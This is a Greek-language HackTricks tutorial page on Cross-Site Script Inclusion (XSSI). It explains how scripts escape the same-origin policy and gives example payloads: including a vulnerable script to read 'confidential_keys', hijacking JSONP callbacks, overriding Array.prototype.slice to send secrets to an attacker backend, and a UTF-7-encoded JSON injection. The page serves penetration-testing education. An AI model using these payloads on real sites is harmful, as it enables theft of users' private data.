XSSI (Cross-Site Script Inclusion)

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Η Ενσωμάτωση Σεναρίου Από Άλλο Σάιτ (XSSI) είναι μια ευπάθεια που προκύπτει από τη φύση της ετικέτας script στο HTML. Αντίθετα από τους περισσότερους πόρους, οι οποίοι υπόκεινται στην Πολιτική Ίδιας Προέλευσης (SOP), τα σενάρια μπορούν να ενσωματωθούν από διάφορους τομείς. Αυτή η συμπεριφορά έχει σκοπό να διευκολύνει τη χρήση βιβλιοθηκών και άλλων πόρων που φιλοξενούνται σε διάφορους διακομιστές, αλλά εισάγει επίσης ένα δυνητικό κίνδυνο ασφάλειας.

Κύρια Χαρακτηριστικά του XSSI:

  • Παράκαμψη της SOP: Τα σενάρια εξαιρούνται από την Πολιτική Ίδιας Προέλευσης, επιτρέποντας την ενσωμάτωσή τους από διάφορους τομείς.

  • Αποκάλυψη Δεδομένων: Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν τη συμπεριφορά για να διαβάσει δεδομένα που φορτώνονται μέσω της ετικέτας script.

  • Επίδραση στο Δυναμικό JavaScript/JSONP: Το XSSI είναι ιδιαίτερα σημαντικό για το δυναμικό JavaScript ή το JSON με Περιτύλιγμα (JSONP). Αυτές οι τεχνολογίες συχνά χρησιμοποιούν πληροφορίες "περιβάλλοντος αρχείου" (όπως τα cookies) για την πιστοποίηση. Όταν γίνεται αίτηση για ένα σενάριο σε έναν διαφορετικό διακομιστή, αυτές οι πιστοποιήσεις (π.χ. τα cookies) περιλαμβάνονται αυτόματα στην αίτηση.

  • Διαρροή Διαπιστευτήριων Ταυτότητας: Αν ένας επιτιθέμενος μπορεί να εξαπατήσει τον περιηγητή ενός χρήστη να ζητήσει ένα σενάριο από έναν διακομιστή που ελέγχει, μπορεί να έχει πρόσβαση σε ευαίσθητες πληροφορίες που περιέχονται σε αυτές τις αιτήσεις.

Τύποι

  1. Στατικό JavaScript - Αντιπροσωπεύει τη συμβατική μορφή του XSSI.

  2. Στατικό JavaScript με Πιστοποίηση - Αυτός ο τύπος είναι διαφορετικός επειδή απαιτεί πιστοποίηση για να αποκτηθεί πρόσβαση.

  3. Δυναμικό JavaScript - Περιλαμβάνει JavaScript που δημιουργεί δυναμικά περιεχόμενο.

  4. Μη-JavaScript - Αναφέρεται σε ευπάθειες που δεν σχετίζονται άμεσα με το JavaScript.

Οι παρακάτω πληροφορίες είναι ένα σύνολο του https://www.scip.ch/en/?labs.20160414. Ελέγξτε το για περαιτέρω λεπτομέρειες.

Κανονικό XSSI

Σε αυτήν την προσέγγιση, ιδιωτικές πληροφορίες ενσωματώνονται σε ένα αρχείο JavaScript που είναι παγκοσμίως προσβάσιμο. Οι επιτιθέμενοι μπορούν να εντοπίσουν αυτά τα αρχεία χρησιμοποιώντας μεθόδους όπως η ανάγνωση αρχείων, οι αναζητήσεις λέξεων-κλειδιών ή οι κανονικές εκφράσεις. Αφού εντοπιστεί, το σενάριο που περιέχει τις ιδιωτικές πληροφορίες μπορεί να ενσωματωθεί σε κακόβουλο περιεχόμενο, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα. Παρακάτω παρουσιάζεται ένα παράδειγμα τεχνικής εκμετάλλευσης:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Δυναμική-Βασισμένη-σε-JavaScript-XSSI και Εξουσιοδοτημένη-Βασισμένη-σε-JavaScript-XSSI

Αυτοί οι τύποι επιθέσεων XSSI περιλαμβάνουν τη δυναμική προσθήκη εμπιστευτικών πληροφοριών στο σενάριο απόκρισης σε αίτημα ενός χρήστη. Η ανίχνευση μπορεί να πραγματοποιηθεί αποστέλλοντας αιτήσεις με και χωρίς cookies και συγκρίνοντας τις αποκρίσεις. Εάν οι πληροφορίες διαφέρουν, μπορεί να υποδηλώνει την παρουσία εμπιστευτικών πληροφοριών. Αυτή η διαδικασία μπορεί να αυτοματοποιηθεί χρησιμοποιώντας εργαλεία όπως η επέκταση Burp DetectDynamicJS.

Εάν εμπιστευτικά δεδομένα αποθηκεύονται σε μια παγκόσμια μεταβλητή, μπορούν να εκμεταλλευτούν χρησιμοποιώντας παρόμοιες μεθόδους με αυτές που χρησιμοποιούνται στον Κανονικό XSSI. Ωστόσο, εάν τα εμπιστευτικά δεδομένα περιλαμβάνονται σε μια απόκριση JSONP, οι επιτιθέμενοι μπορούν να αποκτήσουν τον έλεγχο της συνάρτησης κλήσης για να ανακτήσουν τις πληροφορίες. Αυτό μπορεί να γίνει είτε με την παραπλάνηση παγκόσμιων αντικειμένων είτε με τη δημιουργία μιας συνάρτησης που θα εκτελείται από την απόκριση JSONP, όπως φαίνεται παρακάτω:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Για μεταβλητές που δεν βρίσκονται στον παγκόσμιο χώρο ονομάτων, η παραβίαση του προτύπου μπορεί να εκμεταλλευτεί μερικές φορές. Αυτή η τεχνική εκμεταλλεύεται τον σχεδιασμό της JavaScript, όπου η ερμηνεία του κώδικα περιλαμβάνει τη διάσχιση της αλυσίδας προτύπων για να εντοπίσει την κληθείσα ιδιότητα. Αν αντικατασταθούν ορισμένες συναρτήσεις, όπως η slice του Array, οι επιτιθέμενοι μπορούν να έχουν πρόσβαση και να διαρρεύσουν μη παγκόσμιες μεταβλητές:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Περαιτέρω λεπτομέρειες για τα διανύσματα επίθεσης μπορούν να βρεθούν στο έργο του Ερευνητή Ασφάλειας Sebastian Lekies, ο οποίος διατηρεί μια λίστα με διανύσματα.

Μη-Σεναριογραφημένο XSSI

Η έρευνα του Takeshi Terada παρουσιάζει μια άλλη μορφή XSSI, όπου μη-σεναριογραφημένα αρχεία, όπως τα CSV, διαρρέουν από άλλη προέλευση ενσωματώνοντας τα ως πηγές σε ένα ετικέτα script. Ιστορικές περιπτώσεις XSSI, όπως η επίθεση του Jeremiah Grossman το 2006 για την ανάγνωση ενός ολοκληρωμένου βιβλίου διευθύνσεων της Google και η διαρροή δεδομένων JSON του Joe Walker το 2007, αναδεικνύουν τη σοβαρότητα αυτών των απειλών. Επιπλέον, ο Gareth Heyes περιγράφει μια παραλλαγή επίθεσης που εμπλέκει τον κωδικοποιημένο με UTF-7 JSON για να δραπετεύσει από τη μορφή JSON και να εκτελέσει σενάρια, αποτελεσματική σε ορισμένους περιηγητές:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated